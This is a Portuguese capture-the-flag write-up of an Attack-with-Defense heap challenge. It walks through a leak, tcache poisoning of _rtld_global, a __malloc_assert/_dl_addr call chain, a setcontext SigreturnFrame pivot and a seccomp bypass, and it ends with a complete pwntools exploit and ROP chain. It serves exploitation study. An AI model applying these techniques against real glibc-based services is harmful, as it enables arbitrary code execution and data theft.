Recentemente, decidi tentar reproduzir a solução do desafio AWD (Attack with Defense) do mestre winmt. Devo admitir que o mestre winmt é incrível, pois este desafio, criado durante o primeiro ano universitário, já apresenta um nível de dificuldade considerável.
Vazamento de Endereço
A operação show imprime cada byte individualmente após aplicar uma operação XOR duas vezes. Na prática, isso equivale a uma única operação XOR, já que a segunda é com o valor 0. A primeira operação XOR é com o próximo byte. Portanto, se os dados no heap forem 0xabcd, a impressão, do byte menos significativo para o mais significativo, seria d ^ c, c ^ b, b ^ a, a ^ 0.
Verificações e Proteções
A operação add inclui uma verificação que impede a alocação de endereços relacionados ao libc. Isso elimina a possibilidade de usar a técnica covnencional de exploração via IO, muito menos qualquer manipulação de hooks.
<getkeyserv_handle+576>: mov rdx,QWORD PTR [rdi+0x8]
<getkeyserv_handle+580>: mov QWORD PTR [rsp],rax
<getkeyserv_handle+584>: call QWORD PTR [rdx+0x20]
<getkeyserv_handle+587>: mov QWORD PTR [rbx],0x0
Cadeia de Chamadas e Fluxo de Ataque
A estratégia consiste em utilizar uma vulnerabilidade de Use-After-Free (UAF) para realizar um ataque de tcache poisoning. O objetivo é gravar dados nos endereços ld_base + ld.sym['_rtld_global'] + 0xf90 e ld_base + ld.sym['_rtld_global'] + 0x978.
Além disso, explora-se uma característica da estrutura tcache_perthread_struct: quando um chunk alocado a partir dela é utilizado, a chave do chunk (localizada no offset +8) é zerada. Essa propriedade pode ser usada para anular a vtable do stderr.
Quanto à cadeia de IO, não há verificações adicionais a serem contornadas; basta garantir que a vtable seja inválida.
A cadeia de chamadas para desviar o fluxo de execução é:
_int_malloc
→ sysmalloc
→ __malloc_assert
→ __fxprintf
→ locked_vfxprintf
→ __vfprintf_internal
→ buffered_vfprintf
→ _IO_vtable_check
→ _dl_addr
→ call qword ptr [r13 + 0xf90] (getkeyserv_handle+576)
O controle do fluxo é relativamente direto: basta controlar o valor em ld_base + ld.sym['_rtld_global'] + 0xf90 (alvo da instrução call).
O endereço ld_base + ld.sym['_rtld_global'] + 0x978 controla o registrador rdi.
A abordagem para ler a flag (ORW - open/read/write) segue estes passos:
- Definir o alvo do
callparagetkeyserv_handle+576(para controlarrdx). - Controlar
rdie, simultaneamente, preparar o próximocallparasetcontext + 61, utilizando umSigreturnFramepara configurar os registradores. - Executar
readpara carregar o shellcode ORW no endereço de__free_hook. Como orspnoSigreturnFrameaponta para__free_hook, após a conclusão doread, o fluxo é redirecionado diretamente para o shellcode ORW.
Os dados a serem gravados em ld_base + ld.sym['_rtld_global'] + 0x980 são:
endereco_alvo = libc_base + libc.sym['__free_hook']
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = endereco_alvo # rsi
frame.rdx = 0x100
frame.rsp = endereco_alvo # rsp
frame.rip = libc_base + libc.sym['read']
frame.r12=0xdeadbeef
payload=p64(0xdeadbeef)
payload+=p64(0xdeadbeef) # rdi
payload += p64(ld_base + ld.sym['_rtld_global'] + 0x988) #rdx
payload += p64(0)*2
payload += p64(libc_base + libc.sym['setcontext'] + 61) #[rdx+0x20]
payload += bytes(frame)[0x28:]
_dl_addr
Podemos observar que r13 + 0xf90 corresponde a ld_base + ld.sym['_rtld_global'] + 0xf90, e rdi corresponde a ld_base + ld.sym['_rtld_global'] + 0x978.
Tendo agora controle sobre rdi, podemos controlar rdx utilizando o trecho de código a seguir. Em seguida, combinando com o código subsequente, obtemos controle total sobre rdx.
<getkeyserv_handle+576> mov rdx, qword ptr [rdi + 8]
<getkeyserv_handle+580> mov qword ptr [rsp], rax
<getkeyserv_handle+584> call qword ptr [rdx + 0x20]
Com o controle de rdx, a próxima etapa crucial envolve o gadget setcontext+61. A técnica precisa para controlar os registradores individuais finalmante se torna clara: utiliza-se a estrutura SigreturnFrame. O layout dos registradores dentro dela é quase idêntico ao que é restaurado em setcontext+61; basta ajustar os offsets. No payload, usamos bytes(frame)[0x28:].
Evadindo o Sandbox
O sandbox proíbe as syscalls close, pread64, readv, write e pwrite64. Além disso, o primeiro argumento de read deve ser estritamente 0, e close também está desabilitado.
A estratégia de exploração proposta é:
- Usar
openpara abrir o arquivoflag. - Usar
mmappara mapear o conteúdo do arquivo na memória, por exemplo:mmap(0x80000, 0x1000, 1, 1, 3, 0). - Usar
writev(permitida?) para imprimir a flag. O endereçoaddrno argumento não deve ser0x80000diretamente, mas sim um ponteiro para o endereço0x80000.
Exploit Completo
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./houmt")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")
def aloca(conteudo):
io.sendlineafter("Please input your choice > ", b'1')
io.sendafter("Please input the content : \n", conteudo)
def edita(indice, conteudo):
io.sendlineafter("Please input your choice > ", b'2')
io.sendlineafter("Please input the index : ", str(indice))
io.sendafter("Please input the content : \n", conteudo)
def libera(indice):
io.sendlineafter("Please input your choice > ", b'3')
io.sendlineafter("Please input the index : ", str(indice))
def exibe(indice):
io.sendlineafter("Please input your choice > ", b'4')
io.sendlineafter("Please input the index : ", str(indice))
def sair():
io.sendlineafter("Please input your choice > ", b'5')
# Endereços de funções principais (offsets do binário)
libera_func = 0x1ABF
exibe_func = 0x1C26
edita_func = 0x01A1F
aloca_leitura = 0x193A
aloca_func = 0x018AB
# Aloca chunks iniciais
for i in range(8):
aloca("\n") # Índices 0 a 7
# Vazamento do Heap via use-after-free na operação 'show'
libera(0)
exibe(0)
vazamento_heap = []
for i in range(5):
vazamento_heap.append(u8(io.recv(1)))
# Decodificação da chave (proteção safe-linking)
vazamento_heap[3] = vazamento_heap[3] ^ vazamento_heap[4]
vazamento_heap[2] = vazamento_heap[2] ^ vazamento_heap[3]
vazamento_heap[1] = vazamento_heap[1] ^ vazamento_heap[2]
vazamento_heap[0] = vazamento_heap[0] ^ vazamento_heap[1]
dados_heap = b''
for valor in vazamento_heap[:5]:
dados_heap += p8(valor)
chave_heap = u64(dados_heap.ljust(8, b'\x00'))
base_heap = chave_heap << 12
log.success(f"Base do Heap: {hex(base_heap)}")
# Libera chunks adicionais e prepara para vazamento do libc
for idx in range(1, 6):
libera(idx)
libera(7)
libera(6)
exibe(6)
vazamento_libc = []
for i in range(6):
byte = u8(io.recv(1))
vazamento_libc.append(byte)
log.info(f"Byte {i}: {hex(byte)}")
# Decodificação do endereço do libc
vazamento_libc[4] = vazamento_libc[4] ^ vazamento_libc[5]
vazamento_libc[3] = vazamento_libc[3] ^ vazamento_libc[4]
vazamento_libc[2] = vazamento_libc[2] ^ vazamento_libc[3]
vazamento_libc[1] = vazamento_libc[1] ^ vazamento_libc[2]
vazamento_libc[0] = vazamento_libc[0] ^ vazamento_libc[1]
endereco_libc = b''
for valor in vazamento_libc:
endereco_libc += p8(valor)
base_libc = u64(endereco_libc.ljust(8, b'\x00')) - 0x1e0c00
log.success(f"Base do Libc: {hex(base_libc)}")
base_ld = base_libc + 0x1ee000
# Corrige o ponteiro next do chunk livre (tcache poisoning inicial)
edita(7, p64(chave_heap ^ (base_heap + 0xf0)))
aloca("\n") # Índice 8
aloca(p64(0) + p64(0x111) + p64(0) + p64(base_heap + 0x100)) # Índice 9
# Endereço mágico no libc
gadget_magico = base_libc + 0x14a0a0
# Sobrescreve o ponteiro para o rtld_global
aloca(p64(0) + p64(base_ld + ld.sym['_rtld_global'] + 0xf90)) # Índice 10
alvo_f90 = base_ld + ld.sym['_rtld_global'] + 0xf90
log.info(f"Alvo para call (rtld_global+0xf90): {hex(alvo_f90)}")
aloca(p64(gadget_magico)) # Índice 11
libera(10)
aloca(p64(0) + p64(base_ld + ld.sym['_rtld_global'] + 0x980)) # Índice 12
alvo_980 = base_ld + ld.sym['_rtld_global'] + 0x980
# Payload para redirecionar execução via SigreturnFrame
endereco_hook = base_libc + libc.sym['__free_hook']
frame_sinal = SigreturnFrame()
frame_sinal.rdi = 0
frame_sinal.rsi = endereco_hook
frame_sinal.rdx = 0x100
frame_sinal.rsp = endereco_hook
frame_sinal.rip = base_libc + libc.sym['read']
frame_sinal.r12 = 0xdeadbeef
payload_exec = p64(0xdeadbeef)
payload_exec += p64(0xdeadbeef) # rdi
payload_exec += p64(base_ld + ld.sym['_rtld_global'] + 0x988) # rdx
payload_exec += p64(0)*2
payload_exec += p64(base_libc + libc.sym['setcontext'] + 61) # [rdx+0x20]
payload_exec += bytes(frame_sinal)[0x28:]
aloca(payload_exec) # Índice 13
libera(10)
# Prepara estrutura para desvio final
aloca(p64(0) + p64(base_libc + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # Índice 14
io.sendlineafter("Please input your choice > ", b'1')
libera(10)
aloca(p64(0) + p64(base_heap + 0xb10)) # Índice 15
aloca(p64(0) + p64(0x88)) # Índice 16
aloca("aaaaaaaa") # Índice 17
# Disparo da corrente de execução
io.sendlineafter("Please input your choice > ", b'1') # Índice 18
# Gadgets do libc para a ROP chain
pop_rax_ret = base_libc + 0x44c70
pop_rdi_ret = base_libc + 0x121b1d
pop_rsi_ret = base_libc + 0x2a4cf
pop_rdx_ret = base_libc + 0xc7f32
pop_rcx_rbx_ret = base_libc + 0xfc104
pop_r8_ret = base_libc + 0x148686
syscall_ret = base_libc + 0x6105a
# Construção da ROP chain para open/mmap/writev (ORW)
rop_orw = p64(pop_rdi_ret) + p64(endereco_hook + 0xd0) # './flag\x00'
rop_orw += p64(pop_rsi_ret) + p64(0)
rop_orw += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # open('./flag', O_RDONLY)
rop_orw += p64(pop_rdi_ret) + p64(0x80000)
rop_orw += p64(pop_rsi_ret) + p64(0x1000)
rop_orw += p64(pop_rdx_ret) + p64(1)
rop_orw += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
rop_orw += p64(pop_r8_ret) + p64(3)
rop_orw += p64(base_libc + libc.sym['mmap']) # mmap(0x80000, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0)
rop_orw += p64(pop_rdi_ret) + p64(1)
rop_orw += p64(pop_rsi_ret) + p64(endereco_hook + 0xd8)
rop_orw += p64(pop_rdx_ret) + p64(1)
rop_orw += p64(base_libc + libc.sym['writev']) # writev(stdout, iov, 1)
# Dados para os iovs (endereço do mapeamento e tamanho)
rop_orw += b'./flag\x00\x00' + p64(0x80000) + p64(0x50)
# Envia a ROP chain final
io.send(rop_orw)
io.interactive()
Referência original: https://www.cnblogs.com/winmt/